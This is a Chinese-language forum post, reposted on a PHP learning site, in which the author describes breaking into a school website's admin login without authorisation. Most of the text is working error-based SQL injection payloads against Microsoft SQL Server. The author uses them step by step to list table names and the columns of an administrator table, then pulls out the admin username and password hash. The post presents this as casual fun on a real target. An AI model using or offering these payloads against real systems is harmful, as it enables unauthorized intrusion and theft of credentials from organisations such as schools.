来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] Author:音符 某天各种闲,于是准备把某地的学校来一次大检测,各种猥琐。于是有了这篇帖子。 先是跟平常一样,随便找个地方提交下数据,看看网站大致的安全。随便找到个asp展示页...
Author:音符
某天各种闲,于是准备把某地的学校来一次大检测,各种猥琐。于是有了这篇帖子。 先是跟平常一样,随便找个地方提交下数据,看看网站大致的安全。随便找到个asp展示页面在参数后面提交单引号,结果如图一 有大牛做了防护诶,伟大。注入难道都不能搞了么?不好说吧。 在前台有个注入,试探之,依旧是做了防注入。看到这么变态还有大牛防护小弟各种怕怕,后台都不敢扫了,直接地址栏加个admin杀入,如图2 没密码啊,咋办’or’=’or’试试呗 结果如图三 各种无法万能密码,难道就放弃了么? 非也,看他的返回 在关键字'or' 附近有语法错误。 说明我们的数据被带入查询了,没有进行过滤哦亲,于是小弟各种想在用户名处提交数据查询管理用户。如下。 用户名处提交数据 1' and '1'='1 返回如图 提交1’返回如图 (那串加密md5是我乱输入的密码)两次结果对比说明存在注入。不解释。 我们开始爆数据吧,其实利用的都是普通的查询语句,通过各种报错来爆出我们想要的内容。 用户名处键入 1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '1'='1 前后的and是为了让语句完整,各种引号。 中间的语句是为了让程序出错 强制转换为int型再与1作比较报错返回。 结果如图。 第一个表段爆出来了JYS_Js中的top 1就是爆出第一个表段 我们继续爆第二个表段,键入代码: 1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('JYS_Js' ))) and '1'='1 啥意思呢,与原来的语句做个比较就知道了,多了个and name not in xxx,是我们的限制条件,限制表名不为jys_js,然后取回第一个表段,其实现在就是库中的第二个表段了。如图 那么继续爆第三个表段,键入语句: 1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('JYS_Js','dtproperties'))) and '1'='1 将properties也给排除掉,结果如图。 剩下的不解释了,各种爆。 最后当我键入语句: 1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('JYS_Js','dtproperties','JYS_Column','JYS_District','JYS_File','JYS_jyz','JYS_News','XD_Chushi','XD_City','XD_Column','XD_District','XD_File','XD_FriendLink','XD_Huodong','XD_Manager','XD_News','XD_Province','XD_User','XD_User_Column','XL_Group','XL_SystemConfig'))) and '1'='1 结果如图: 这是说明我们把所有数据都排除了,返回值为空,也就是0.0就是int型的,可以与1进行比较,所以语句不报错(小菜鸟我是这么理解的,不知道对不对。膜拜大牛) 果断锁定表段XD_Manager,各种爆字段。 网上有个说法是 select * from XD_Manager having 1=1 爆出全部字段,但是小菜鸟怎么搞都不行,貌似一次只能返回一个字段。 果断慢慢爆 键入语句: 1' and 1=convert(int,(select top 1 col_name(object_id ('XD_Manager'),1) from XD_Manager)) and '1'='1 没啥说的,看得懂吧,爆出第一个字段,返回如图。 继续爆,键入: 1' and 1=convert(int,(select top 1 col_name(object_id ('XD_Manager'),2) from XD_Manager)) and '1'='1 结果返回 将nvarchar 值'M_name' 转换为数据类型为int 的列时发生语法错误。 最后果断爆回所有字段了。开始爆数据吧。 键入: 1' and 1=convert(int,(select top 1 M_name from XD_Manager)) and '1'='1 返回第一个用户名 Admin意料之中,爆他密码 键入: 1' and 1=convert(int,(select top 1 M_password from XD_Manager)) and '1'='1 解密下就ok了。 当然我们可以模仿前面的。爆第二个用户名啥的 1' and 1=convert(int,(select top 1 M_name from XD_Manager where m_name not in('admin'))) and '1'='1 提交后就是第二个用户名了。没啥说的。不解释,不演示。 但是我在写帖子的时候登陆出现了问题,如图。 这个我真不懂了,怀疑是管理员发现了,毕竟N久前的,求大牛解释。完。大家静待下一篇。 另附相关网贴几张 www.2cto.com/Article/201111/110526.html www.2cto.com/Article/200809/29429.html 废话一下:年关各种穷,又出来招摇撞骗,带各种有钱小弟,求包养。Q738404558 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com